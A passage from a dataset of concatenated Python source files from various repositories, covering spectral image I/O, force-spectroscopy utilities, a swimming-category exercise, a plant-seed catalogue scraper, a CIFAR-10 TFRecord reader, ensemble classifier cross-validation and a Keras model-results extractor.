pd.read_csv(calibfile, delim_whitespace=True, index_col='index')\n\n ds = xr.Dataset()\n ds.coords[c.image_index] = xr.DataArray(df.index, dims=(c.image_index))\n\n ds[c.number_of_peaks] = xr.DataArray(df['Npeaks'], dims=(c.image_index))\n\n spcols = [col for col in df.columns if 'SP' in col]\n if spcols:\n ds[c.setpoint_data] = xr.DataArray(\n df[spcols],\n dims=(c.image_index, c.setpoint_coord)\n )\n else:\n raise UserWarning('Setpoint information not found, omitting.')\n\n wlcols = [col for col in df.columns if 'PeakWL' in col]\n fwhmcols = [col for col in df.columns if 'FWHM' in col]\n sinvcols = [col for col in df.columns if 'Sinv' in col]\n\n ds.coords[c.peak_coord] = (c.peak_coord, [1, 2, 3])\n\n ds[c.wavelength_data] = xr.DataArray(\n df[wlcols],\n dims=(c.image_index, c.peak_coord),\n coords={\n c.image_index: ds[c.image_index],\n c.peak_coord: ds[c.peak_coord]\n },\n attrs={\n 'units': wavelength_unit,\n 'long_name': 'peak center wavelength',\n 'standard_name': 'radiation_wavelength',\n }\n )\n\n ds[c.fwhm_data] = xr.DataArray(\n df[fwhmcols],\n dims=(c.image_index, c.peak_coord),\n coords={\n c.image_index: ds[c.image_index],\n c.peak_coord: ds[c.peak_coord]\n },\n attrs={\n 'units': wavelength_unit,\n 'long_name': 'full width at half maximum'\n }\n )\n\n ds[c.sinv_data] = xr.DataArray(\n df[sinvcols].values.reshape(-1, 3, 3),\n dims=(c.image_index, c.peak_coord, c.colour_coord),\n coords={\n c.image_index: ds[c.image_index],\n c.peak_coord: ds[c.peak_coord],\n c.colour_coord: ['R', 'G', 'B'],\n },\n attrs={\n 'long_name': 'dn to pseudoradiance inversion coefficients',\n 'units': 'J sr-1 m-2 nm-1',\n }\n )\n\n return ds\n\n\ndef read_hdt(hdtfile):\n \"\"\"Load metadata from a .hdt header file (VTT format).\"\"\"\n\n if not os.path.isfile(hdtfile):\n raise(IOError('Header file {} does not exist'.format(hdtfile)))\n\n meta = configparser.ConfigParser()\n meta.read(hdtfile)\n\n return parse_meta_to_ds(meta)\n\n\ndef read_ENVI_cfa(filepath, raw_unit='dn', **kwargs):\n \"\"\"Read ENVI format CFA data and metadata to an xarray Dataset.\n\n For the VTT format raw ENVI files the ENVI metadata is superfluous and is\n discarded, with the actual metadata read from the separate VTT header file.\n Wavelength and fwhm data will be replaced with information from metadata\n and number of layers etc. are omitted as redundant.\n Gain and bayer pattern are assumed to be constant within each file.\n\n Parameters\n ----------\n filepath : str\n Path to the datafile to be opened, either with or without extension.\n Expects data and metadata to have extensions .dat and .hdt.\n\n raw_unit : str, optional\n Units for the raw data.\n\n **kwargs\n Keyword arguments to be passed on to `xr.open_rasterio`.\n\n Returns\n -------\n dataset : xarray.Dataset\n Dataset derived from the raw image data and accompanying metadata.\n If the ENVI data had an included dark layer, it is separated into\n its own data variable in the dataset.\n \"\"\"\n\n base = os.path.splitext(filepath)[0]\n datfile = base + '.dat'\n hdtfile = base + '.hdt'\n\n envi = xr.open_rasterio(datfile, **kwargs)\n envi.attrs.clear() # Drop irrelevant attributes\n\n if 'fwhm' in envi.coords:\n envi = envi.drop('fwhm')\n if 'wavelength' in envi.coords:\n envi = envi.drop('wavelength')\n\n ds = read_hdt(hdtfile)\n\n if ds.attrs.pop('dark layer included'):\n ds[c.dark_reference_data] = xr.DataArray(\n envi.data[0, ::],\n dims=c.dark_ref_dims,\n coords={c.height_coord: envi['y'], c.width_coord: envi['x']},\n attrs={'units': raw_unit}\n )\n ds[c.cfa_data] = (c.cfa_dims, envi.data[1:, ::])\n else:\n # Note that we do not no whether or not the data still includes dark\n # current (only that there was no reference).\n ds[c.cfa_data] = (c.cfa_dims, envi.data)\n\n # Set units for the CFA\n ds[c.cfa_data].attrs['units'] = raw_unit\n return ds\n","repo_name":"silmae/fpipy","sub_path":"fpipy/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":5227,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"16606894068","text":"# force floating point division. Can still use integer with //\nfrom __future__ import division\n# This file is used for importing the common utilities classes.\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys,warnings,copy\nfrom scipy import interpolate\nfrom scipy.stats import norm\nfrom scipy.ndimage.filters import uniform_filter1d,generic_filter1d\nfrom scipy.integrate import cumtrapz\nfrom . import Detector, Analysis\n\ndef _manual_split(approach,dwell,retract,tau_n_points,\n short_circuit_adhesion=False):\n \"\"\"\n :param approach: to use for the no-event model\n :param dwell: if needed, can manually specify a dwell\n :param retract: actual data to use.\n :param tau_n_points: number of points for tau\n :param short_circuit_adhesion: if True, then the approach is just\n representative, and FEATHER wont attempt to find the surface by the\n method of the zero force crossing the baseline. Useful if the approach\n doesnt have an existing INVOLS portion\n :return:\n \"\"\"\n # make a 'custom' split fec (this is what FEATHER needs for its noise stuff)\n split_fec = Analysis.split_force_extension(approach, dwell, retract,\n tau_n_points)\n # set the 'approach' number of points for filtering to the retract.\n split_fec.set_tau_num_points_approach(split_fec.tau_num_points)\n # set the predicted retract surface index to a few tau. This avoids looking\n # at adhesion\n if short_circuit_adhesion:\n N = tau_n_points\n split_fec.get_predicted_retract_surface_index = lambda: N\n split_fec.get_predicted_approach_surface_index = \\\n lambda : approach.Force.size\n return split_fec\n\ndef _split_from_retract(d,pct_approach,tau_f,**kw):\n \"\"\"\n :param d: retract-only curve\n :param pct_approach: how much of the *end* of the retract to use for the\n 'effective' approach. Shouldn't have any events\n :param tau_f: fraction to use for tau\n :return: split_fec object\n \"\"\"\n force_N = d.Force\n # use the last x% as a fake 'approach' (just for noise)\n n = force_N.size\n n_approach = int(np.ceil(n * pct_approach))\n tau_n_points = int(np.ceil(n * tau_f))\n # slice the data for the approach, as described above\n n_approach_start = n - (n_approach + 1)\n retract = d._slice(slice(0,None,1))\n fake_approach = d._slice(slice(n_approach_start, n, 1))\n fake_dwell = d._slice(slice(n_approach_start - 1, n_approach_start, 1))\n split_fec = _manual_split(approach=fake_approach, dwell=fake_dwell,\n retract=retract,tau_n_points=tau_n_points,\n **kw)\n return split_fec\n\ndef _detect_retract_FEATHER(d,pct_approach,tau_f,threshold,f_refs=None):\n \"\"\"\n :param d: TimeSepForce\n :param pct_approach: how much of the retract, starting from the end,\n to use as an effective approach curve\n :param tau_f: fraction for tau\n :param threshold: FEATHERs probability threshold\n :return: tuple of <output of Detector._predict_split_fec, tau number of\n points>\n \"\"\"\n split_fec = _split_from_retract(d,pct_approach,tau_f,\n short_circuit_adhesion=True)\n tau_n_points = split_fec.tau_num_points\n pred_info = Detector._predict_split_fec(split_fec, threshold=threshold,\n f_refs=f_refs)\n return pred_info, tau_n_points\n\n","repo_name":"prheenan/AppFEATHER","sub_path":"Code/UtilFEATHER.py","file_name":"UtilFEATHER.py","file_ext":"py","file_size_in_byte":3448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31144563354","text":"'''\nA confederação nacional de natação precisa de um programa que\nleia o ano de nascimento de um atleta e mostre sua categoria,\nde acordo com a idade:\n-Até 9 anos: MIRIM\n-Até 14 anos: INFANTIL\n-Até 19 anos: JUNIOR\n-Até 25 anos: SÊNIOR\n-Acima: MASTER\n\nThe national swimming confederation needs a program that\nread the year of birth of an athlete and show his category,\naccording to age:\n-Up to 9 years old: MIRIM\n-Up to 14 years old: CHILD\n-Up to 19 years old: JUNIOR\n-Up to 25 years old: SENIOR\n-Up: MASTER\n'''\nfrom datetime import date\nprint(\"===NASCIMENTO===\")\nd_nasc = int(input(\"DIA: \"))\nm_nasc = int(input(\"MÊS: \"))\na_nasc = int(input(\"ANO: \"))\n\na_atual = int(date.today().year)\nm_atual = int(date.today().month)\nd_atual = int(date.today().day)\n\nidade = a_atual - a_nasc\nif m_atual < m_nasc:\n idade = idade - 1\nif m_atual == m_nasc and d_atual < d_nasc:\n idade = idade - 1\n\n\nif idade <= 9:\n print(f\"{idade} anos e categoria MIRIM\")\nelif idade <= 14:\n print(f\"{idade} anos e categoria INFANTIL\")\nelif idade <= 19:\n print(f\"{idade} anos e categoria JUNIOR\")\nelif idade <= 25:\n print(f\"{idade} anos e categoria SÊNIOR\")\nelse:\n print(f\"{idade} anos e categoria MASTER\")\n","repo_name":"adrielnardi/exercises-python3","sub_path":"python3-curso-em-video/Mundo 02/ex041.py","file_name":"ex041.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16451199688","text":"import pandas as pd\nimport time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.chrome.service import Service\n\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\n\noptions = Options()\noptions.add_argument(\"start-maximized\")\noptions.add_experimental_option(\"detach\", True)\nser = Service(\"C:\\Program Files (x86)\\chromedriver.exe\")\n\nDELAY = 2\n\n\nera_al = pd.read_excel(\"../../../Data/ERA_Alabama.xlsx\",sheet_name=\"All Plants\")\ncommon_names = era_al[\"Common Name\"].to_list()\nscientific_names = era_al[\"Scientific Name\"].to_list()\n\ndriver = webdriver.Chrome(service=ser, options=options)\n\n\nmatches_list = []\nmatch_urls_list = []\nall_names = []\n\n#Open Home Page, Get the number of pages\nhome_page = \"https://www.prairiemoon.com/seeds/\"\ndriver.get(home_page)\nWebDriverWait(driver, DELAY).until(EC.presence_of_element_located((By.XPATH,'//*[@id=\"category-listing-wrapper\"]/div[3]/div/span/div/a[8]')))\nnum_pages = int(driver.find_element(By.XPATH,'//*[@id=\"category-listing-wrapper\"]/div[3]/div/span/div/a[8]').text)\n\nfor page_number in range(1,num_pages+1):\n\n if page_number != 1:\n\n page = f\"https://www.prairiemoon.com/seeds/?page={page_number}\"\n driver.get(page)\n WebDriverWait(driver, DELAY).until(EC.presence_of_element_located((By.CSS_SELECTOR,\"p.category-product-name a\")))\n time.sleep(5)\n\n\n link_elements = driver.find_elements(By.CSS_SELECTOR,\"p.category-product-name a\")\n\n for link in link_elements:\n\n name_element = link.find_element(By.TAG_NAME,\"span\")\n name = name_element.text\n all_names.append(name)\n\n\n if name in scientific_names:\n print(name,page_number)\n matches_list.append(name)\n match_urls_list.append(link.get_attribute(\"href\"))\n\n time.sleep(5)\n \n\n\ndriver.close()\n\n\nera_al = era_al[[\"USDA Symbol\",\"Scientific Name\"]]\nmatches_df = pd.DataFrame({\"Scientific Name\":matches_list,\"Root\":[\"PrairieMoon.com\"]*(len(matches_list)),\"Web\":match_urls_list})\n\n\nfinal = pd.merge(matches_df,era_al,on=\"Scientific Name\",how=\"left\")\nfinal.rename({\"USDA Symbol\":\"USDA\"},axis=1,inplace=True)\nfinal = final[[\"USDA\",\"Scientific Name\",\"Root\",\"Web\"]]\nfinal = final.drop_duplicates(subset=\"Scientific Name\",keep=\"first\")\nfinal.to_csv(\"Output/PrairieMoon.csv\",index=False)\n\npd.Series(all_names).to_csv(\"Output/PrairieMoon_FullInventory.csv\",encoding='utf-8',index=False)\n \n\n\n","repo_name":"cpl17/PAC-Project-Data-Contributions","sub_path":"OnlineAvailability/OnlineVendors/PrairieMoon/PrairieMoon.py","file_name":"PrairieMoon.py","file_ext":"py","file_size_in_byte":2545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26082615563","text":"\"\"\"\nRoutines to load example data locally or from web\n\"\"\"\n\nfrom functools import partial\nfrom pathlib import Path\n\nimport pandas as pd\n\n\ndef _attribute_getter(self, name):\n return self[name]\n\n\nclass LoadExampleData(object):\n\n _names = [\n \"O2_ABand_Drouin_2017_linelist\",\n \"O2_ABand_Long_2010_linelist\",\n \"O2_SingletDelta_HITRAN\",\n \"O2_SingletDelta_Mendonca\",\n \"CO2_30012_NIST\",\n ]\n\n _prefix_web = (\n \"https://raw.githubusercontent.com/usnistgov/MATS/master/MATS/Linelists/\"\n )\n _prefix_local = Path(__file__).parent / \"Linelists\"\n\n def __init__(self, names=None):\n\n if names is not None:\n self._names = names\n self._cache = {}\n\n # create attributes for names\n for k in self.names:\n kk = k.replace(\" \", \"_\")\n setattr(LoadExampleData, kk, property(partial(_attribute_getter, name=k)))\n\n def _get_file(self, name):\n if name not in self.names:\n raise ValueError(\"file name must be in {}\".format(self.names))\n\n name = name + \".csv\"\n\n # try local\n path = self._prefix_local / name\n if not path.exists():\n # fallback to url\n path = self._prefix_web + name\n if name not in self._cache:\n self._cache[name] = pd.read_csv(path)\n return self._cache[name]\n\n @property\n def names(self):\n return self._names\n\n def __getitem__(self, index):\n if isinstance(index, int):\n name = self.names[index]\n elif isinstance(index, str):\n name = index\n else:\n raise ValueError(\"bad index {}\".format(index))\n return self._get_file(name)\n\n\n# Global example data loader\nexampledata = LoadExampleData()\n","repo_name":"wpk-nist-gov/MATSgp","sub_path":"MATS/exampledata.py","file_name":"exampledata.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17552143991","text":"import tensorflow as tf\n\n\ndef read(batchsize=64, type=1, no_aug_data=1):\n # Creat TFRecordReader\n reader = tf.TFRecordReader()\n if type == 0: # train\n file_list = ['data/train.tfrecord']\n if type == 1: # test\n file_list = ['data/test.tfrecord']\n # Set file queue\n filename_queue = tf.train.string_input_producer(\n file_list, num_epochs=None, shuffle=True\n )\n # Extract the data from TFRecord with TFRecordReader\n _, serialized_example = reader.read(filename_queue)\n # Set batch parameter\n batch = tf.train.shuffle_batch([serialized_example], batchsize,\n capacity=batchsize * 10,\n min_after_dequeue=batchsize * 5)\n # Set read data type\n feature = {\n 'image': tf.FixedLenFeature([], tf.string),\n 'label': tf.FixedLenFeature([], tf.int64)\n }\n # Read data\n features = tf.parse_example(batch, features=feature)\n # Extract pictures in tfrecord\n images = features['image']\n # Image data transcoding and reshape\n img_batch = tf.decode_raw(images, tf.uint8)\n img_batch = tf.reshape(img_batch, [batchsize, 32, 32, 3])\n # Picture data enhancement\n if type == 0 and no_aug_data == 1:\n # Random crop\n distorted_image = tf.random_crop(img_batch,\n [batchsize, 28, 28, 3])\n distorted_image = tf.image.random_contrast(distorted_image,\n lower=0.5,\n upper=1.5)\n distorted_image = tf.image.random_hue(distorted_image,\n max_delta=0.2)\n distorted_image = tf.image.random_saturation(distorted_image,\n lower=0.5,\n upper=1.5)\n img_batch = tf.clip_by_value(distorted_image, 0, 255) # Range constraint\n # Reshape the size of image\n img_batch = tf.image.resize_images(img_batch, [32, 32])\n # Conversion the img_batch and label_batch data types\n label_batch = tf.cast(features['label'], tf.int64)\n # Normalized\n # Orginial picture data-range: 0 ~ 255\n # /128: 0 ~ 2\n # -1: -1 ~ 1\n img_batch = tf.cast(img_batch, tf.float32) / 128.0 - 1.0\n return img_batch, label_batch","repo_name":"18612849621/cifar10","sub_path":"readcifar10.py","file_name":"readcifar10.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23421444291","text":"def cookieCalculator(C, F, X):\n rate = 2\n time = 0.0\n isGoalReached = False\n\n while not isGoalReached:\n timeToGoal = X / rate\n timeToFarmThenGoal = (C / rate) + (X / (rate + F))\n\n if timeToGoal < timeToFarmThenGoal:\n time += timeToGoal\n isGoalReached = True\n else:\n time += C / rate\n rate += F\n\n return time\n\nf = open('B-large.in', 'r')\no = open('B-large.out', 'w')\n\nT = int(f.readline())\n\nfor t in range(T):\n line = f.readline().replace('\\n', ' ').split(' ')\n\n C = float(line[0])\n F = float(line[1])\n X = float(line[2])\n\n o.write('Case #%d: %.7f\\n' % (t+1, cookieCalculator(C, F, X)))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_136/1285.py","file_name":"1285.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3741476794","text":"class WTTMessage:\n def __init__(self, type, author, body, waID=None, tgID=None, title=None, isGroup=None, filename=None):\n self.type = type\n self.author = author\n self.body = body\n self.waID = waID\n self.tgID = tgID\n self.title = title\n self.isGroup = isGroup\n self.filename = filename\n\n\nclass CreateChat:\n def __init__(self, title, waID=None, tgID=None):\n self.title = title\n self.waID = waID\n self.tgID = tgID\n\n\nclass UpdateChat:\n def __init__(self, title, picture, participants, waID=None, tgID=None):\n self.title = title\n self.picture = picture\n self.participants = participants\n self.waID = waID\n self.tgID = tgID\n","repo_name":"s-boris/WTT-Bridge","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"61"} +{"seq_id":"16169045455","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('block', '0004_block_status'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Article',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('title', models.CharField(max_length=100, verbose_name='版块名称')),\n ('content', models.CharField(max_length=10000, verbose_name='版块描述')),\n ('status', models.IntegerField(verbose_name='状态', choices=[(0, '正常'), (-1, '删除')])),\n ('create_timestamp', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')),\n ('last_update_timestamp', models.DateTimeField(verbose_name='最后更新时间', auto_now=True)),\n ('block', models.ForeignKey(verbose_name='版块ID', to='block.Block')),\n ],\n options={\n 'verbose_name': '文章',\n 'verbose_name_plural': '文章2',\n },\n ),\n ]\n","repo_name":"naijnauj/hunter","sub_path":"hunter_1024/article/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72334062914","text":"import numpy as np\nfrom sklearn import ensemble\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import RepeatedStratifiedKFold\nfrom skopt import BayesSearchCV\nimport exp,feats,learn,ens,files\n\nclass ClfCV(object):\n def __init__(self,find_best,get_votes):\n self.find_best=find_best\n self.get_votes=get_votes\n\n @exp.dir_function(clf_decor=True)\n @exp.dir_function(clf_decor=True)\n# @exp.if_exist\n def __call__(self,in_path,out_path):\n in_path=f\"{in_path}/common\"\n data_i=feats.read(in_path)[0]\n print(len(data_i))\n data_i.norm()\n train_i,test_i=data_i.split()\n train_tuple=train_i.as_dataset()\n clf_i,params_i=self.find_best(*train_tuple[:2])\n full_tuple=data_i.as_dataset()\n votes_i=self.get_votes(full_tuple,clf_i)\n votes_i.save(out_path)\n\nclass GridOptim(object):\n def __init__(self,clf,params):\n self.clf=clf\n self.params=params\n\n def __call__(self,X_train,y_train):\n clf_i = GridSearchCV(self.clf(),self.params,\n verbose=1,\n scoring='neg_log_loss')\n clf_i.fit(X_train,y_train) \n best_params=clf_i.cv_results_['params'][0]\n return clf_i.best_estimator_,best_params\n\nclass BayesOptim(object):\n def __init__(self,clf,params,n_split=5):\n self.clf=clf\n self.params=params\n self.n_split=n_split\n\n def __call__(self,X_train,y_train):\n cv_gen=RepeatedStratifiedKFold(n_splits=self.n_split, \n n_repeats=3, random_state=1)\n search = BayesSearchCV(estimator=self.clf(), \n \tsearch_spaces=self.params,n_jobs=-1,cv=cv_gen)\n search.fit(X_train,y_train) \n best_params=search.cv_results_['params'][0]\n return search.best_estimator_,best_params \t\n\ndef rf_clf(bayes=True):\n params={'max_depth': [3, 5, 10],\n 'min_samples_split': [2, 5, 10]}\n clf = ensemble.RandomForestClassifier\n search_alg= BayesOptim if(bayes) else GridOptim\n grid=search_alg(clf,params)\n return ClfCV(grid,get_votes)\n\ndef bag_clf(bayes=True):\n params={'n_estimators': [5,10,15,20]}\n clf = ensemble.BaggingClassifier\n search_alg= BayesOptim if(bayes) else GridOptim\n grid=search_alg(clf,params)\n return ClfCV(grid,get_votes)\n\ndef boost_clf(bayes=True):\n params={'max_depth': [2,4,6],'n_estimators': [5,10,15,20]}\n clf = ensemble.GradientBoostingClassifier\n search_alg= BayesOptim if(bayes) else GridOptim\n grid=search_alg(clf,params)\n return ClfCV(grid,get_boost_votes)\n\ndef get_boost_votes(result_tuple,clf_i):\n X,y_true,names=result_tuple\n results=[]\n for est_j in clf_i.estimators_:\n y_raw=np.array([tree.predict(X)\n for tree in est_j]) \n if(y_raw.shape[0]>1):\n y_pred=np.argmax(y_raw,axis=0)\n else:\n y_pred= (y_raw<0).astype(int)\n y_pred= y_pred.ravel()\n result_j=learn.make_result(y_pred,names)\n results.append(result_j)\n return ens.Votes(results)\n\ndef get_votes(result_tuple,clf_i):\n X,y_true,names=result_tuple\n results=[]\n for est_j in clf_i.estimators_:\n y_pred=est_j.predict_proba(X)\n result_j=learn.make_result(y_pred,names)\n results.append(result_j)\n return ens.Votes(results)\n\ndef clf_exp(in_path,out_path):\n files.make_dir(out_path)\n algs={\"RF\":rf_clf(),\n \"BAG\":bag_clf(),\n \"BOOST\":boost_clf()}\n for name_i,alg_i in algs.items():\n out_i=f\"{out_path}/{name_i}\"\n alg_i(in_path,out_i)\n\nclf_exp(\"A/one_vs_all\",\"A/cv\")","repo_name":"tjacek/positional_voting","sub_path":"cv.py","file_name":"cv.py","file_ext":"py","file_size_in_byte":3628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3525477863","text":"#!/usr/bin/env python3\n\"\"\"This is test of keras library.\"\"\"\n\nimport glob\nimport json\nimport logging\nimport os\nimport re\n\nLAYER_TYPE = [\"Conv2D\", \"MaxPooling2D\", \"Dense\"]\nMODEL_PATH = \"../trained_models_1080/\"\nREGEX_MODEL_PATH = MODEL_PATH.replace(\".\", r\"\\.\")\nRESULTS_DESTINATION = \"/home/derekin/Dropbox/document/text/\"\nCOLORS = ['blue', 'red', 'green', 'violet', 'yellow', 'orange', 'brown', 'gray']\n\ndef create_logger():\n\t\"\"\"Function that creates logger for this module. \"\"\"\n\t# creation of logger\n\tlogger = logging.getLogger(__name__)\n\tlogger.setLevel(logging.DEBUG)\n\n\t# logging format\n\tformatter = logging.Formatter('%(asctime)s - %(lineno)d - %(name)s - %(levelname)s - %(message)s')\n\n\t# file handler\n\thandler_dbg = logging.FileHandler('../logs_1080/extractor.log')\n\thandler_dbg.setLevel(logging.DEBUG)\n\thandler_dbg.setFormatter(formatter)\n\n\t# stream handler\n\thandler_inf = logging.StreamHandler()\n\thandler_inf.setLevel(logging.INFO)\n\thandler_inf.setFormatter(formatter)\n\n\t# add the handlers to the logger\n\tlogger.addHandler(handler_dbg)\n\tlogger.addHandler(handler_inf)\n\treturn logger\n\nLOGGER_APP = create_logger()\n\n\ndef check_for_new_models():\n\t\"\"\"TODO: retrun value of each model_name should contain only unique part of the name.\n\ti.e time-stamp and iteration.\n\t\"\"\"\n\tlist_of_files = sorted(glob.glob(MODEL_PATH + '*__parameters.json'))\n\tnew_models = []\n\tfor file_name in list_of_files:\n\t\tmodel_title = parse_model_title(file_name)\n\t\tnew_models.append(model_title)\n\treturn new_models\n\n\ndef parse_model_title(file_name):\n\t\"\"\"Parser is extracting part of the name betwen words 'model_' and '_parameters.json'.\"\"\"\n\tregex = REGEX_MODEL_PATH + r\"(.*)__parameters\\.json\"\n\tfile_parser = re.compile(regex)\n\tresult = file_parser.match(file_name).group(1)\n\tLOGGER_APP.debug(result)\n\tif not result:\n\t\tLOGGER_APP.error(\"Name of model wasn't parsed.\")\n\t\tException(\"Name of model wasn't parsed.\")\n\treturn result\n\n\ndef check_for_performances():\n\t\"\"\"TODO: retrun value of each model_name should contain only unique part of the name.\n\ti.e time-stamp and iteration.\n\t\"\"\"\n\tlist_of_files = sorted(glob.glob(MODEL_PATH + '*__performance.log'))\n\tnew_models = []\n\tfor file_name in list_of_files:\n\t\tmodel_name = parse_model_performance_name(file_name)\n\t\tnew_models.append(model_name)\n\n\treturn zip(new_models, list_of_files)\n\n\ndef parse_model_performance_name(file_name):\n\t\"\"\"Parser is extracting part of the name betwen words 'model_' and '_parameters.json'.\"\"\"\n\tregex = REGEX_MODEL_PATH + r\"(.*)__performance\\.log\"\n\tfile_parser = re.compile(regex)\n\tresult = file_parser.match(file_name).group(1)\n\tLOGGER_APP.debug(result)\n\tif not result:\n\t\tLOGGER_APP.error(\"Name of model wasn't parsed.\")\n\t\tException(\"Name of model wasn't parsed.\")\n\treturn result\n\n\ndef get_model_json(source):\n\t\"\"\"TODO: This function will read vales from text file to set model paramters.\"\"\"\n\twith open(MODEL_PATH + \"%s__parameters.json\" % source, 'r') as json_file:\n\t\tmodel_json = json_file.read()\n\t\treturn json.loads(model_json)\n\n\ndef get_model_configuration(source):\n\t\"\"\"TODO: This function will read vales from JSON to configure model. \"\"\"\n\twith open(MODEL_PATH + \"%s__configuration.json\" % source, 'r') as json_file:\n\t\treturn json.loads(json_file.read())\n\n\ndef parse_name_from_title(model_title):\n\t\"\"\"Function tries to parse model name from its convoluted title. \"\"\"\n\ttry:\n\t\ttitle_parser = re.compile(\"(.*?)__(.*?)__(.*?)__(.*?)\")\n\t\treference = title_parser.match(model_title)\n\t\tname = reference.group(2)\n\t\treturn name\n\n\texcept Exception:\n\t\treturn model_title\n\n\ndef parse_name_from_performance_title(model_title):\n\t\"\"\"Function tries to parse model name from its convoluted title. \"\"\"\n\ttry:\n\t\ttitle_parser = re.compile(\"(.*?)__(.*?)__(.*?)__(.*?)__(.*)\")\n\t\treference = title_parser.match(model_title)\n\t\tname = reference.group(2)\n\t\toptimizer = reference.group(5)\n\t\treturn (name, optimizer)\n\n\texcept Exception:\n\t\treturn model_title\n\ndef create_combined_performance(performance_files):\n\tLOGGER_APP.info(\"Creating chart for all models\")\n\n\tchart_training = create_header(\"Training accuracy\")\n\tchart_testing = create_header(\"Testing accuracy\")\n\n\tfor index, (model_title, path) in enumerate(performance_files):\n\n\t\tname = parse_name_from_performance_title(model_title)\n\t\tif len(name) == 2:\n\t\t\tname = name[0]\n\n\t\tpath = os.path.join(os.getcwd(), path)\n\n\n\t\tchart_training += add_plot(path, name.replace(\"_\", \" \"), index, 'epoch', 'acc')\n\t\tchart_testing += add_plot(path, name.replace(\"_\", \" \"), index, 'epoch', 'val_acc')\n\n\tchart_training += \"\\n\" + create_footer()\n\tchart_testing += \"\\n\" + create_footer()\n\n\treturn chart_training + chart_testing\n\ndef main_loop():\n\t\"\"\"Main program loop.\"\"\"\n\tlist_of_tables = []\n\tlist_of_charts = []\n\tfound_models = check_for_new_models()\n\tfound_performances = check_for_performances()\n\n\tfor model_title in found_models:\n\t\tmodel_name = parse_name_from_title(model_title)\n\t\tmodel_json = get_model_json(model_title)\n\t\ttable = analyze_jsons(model_json, model_name)\n\t\tlist_of_tables.append(table)\n\n\tfor model_title, path in found_performances:\n\t\tchart = create_chart_from_performance(model_title, path)\n\t\tlist_of_charts.append(chart)\n\n\tfound_performances = check_for_performances()\n\n\tcombined_chart = create_combined_performance(found_performances)\n\n\twith open(RESULTS_DESTINATION + \"results.org\", 'w') as results_file:\n\t\tfor table in list_of_tables:\n\t\t\tresults_file.write(table)\n\t\t\tresults_file.write(\"\\n\")\n\n\twith open(RESULTS_DESTINATION + \"charts.org\", 'w') as results_file:\n\t\tfor chart in list_of_charts:\n\t\t\tresults_file.write(chart)\n\t\t\tresults_file.write(\"\\n\")\n\n\twith open(RESULTS_DESTINATION + \"combined_chart.org\", 'w') as results_file:\n\t\tresults_file.write(combined_chart)\n\n# def analyze_jsons(json_data, parameters, model_name):\ndef analyze_jsons(json_data, model_name):\n\tLOGGER_APP.info(\"Analyzing model %s\", model_name)\n\tlayers = []\n\tfor layer in json_data['config']:\n\t\tlayers.append(analyze_layer(layer))\n\t\t# return create_table(layers, parameters)\n\treturn create_table(layers, model_name)\n\n\ndef analyze_layer(layer):\n\tresult = []\n\tname = layer['class_name']\n\tresult.append(name)\n\n\tif name == \"Conv2D\":\n\t\tresult.append(layer['config']['filters'])\n\t\tresult.append(layer['config']['kernel_size'])\n\telif name == \"MaxPooling2D\":\n\t\tresult.append(layer['config']['pool_size'])\n\telif name == \"Dense\":\n\t\tresult.append(layer['config']['units'])\n\telif name == \"Activation\":\n\t\tresult.append(layer['config']['activation'])\n\telif name == \"Dropout\":\n\t\tresult.append(layer['config']['rate'])\n\telse:\n\t\tpass\n\n\treturn result\n\n\ndef get_header(name):\n\ttab_name = name\n\tcaption_name = name.replace(\"_\", \" \")\n\treturn \"#+NAME: tab:%s\\n\" \\\n\t\t\"#+CAPTION: Structure of model %s\\n\" \\\n\t\t\"#+ATTR_LATEX: :align |l|l|c|c|c|c|\\n\" \\\n\t\t\"|-|\\n |layer|name|kernels|size of kernel|\" \\\n\t\t\"activation function|regularization|\\n|-|\\n\" % (tab_name, caption_name)\n\n\ndef get_middle():\n\treturn \"|-|\\n|layer|name|neurons|-|activation function|regularization|\\n|-\"\n\n\ndef get_footer():\n\treturn \"|-|\\n\"\n\n\n# def get_params(params):\n# return \"|-|\\n|batch size|epochs|-|-|-|\\n|-|\"\n\n# def create_table(layers, parameters):\ndef create_table(layers, model_name):\n\t# table = get_header(parameters['name'])\n\ttable = get_header(model_name)\n\tindex = 1\n\trow = \"\"\n\tprevious_regularized = False\n\tfor layer in layers:\n\t\tif layer[0] in LAYER_TYPE:\n\t\t\tif index != 1:\n\t\t\t\tif not previous_regularized:\n\t\t\t\t\ttable += \"%s | - |\\n\" % 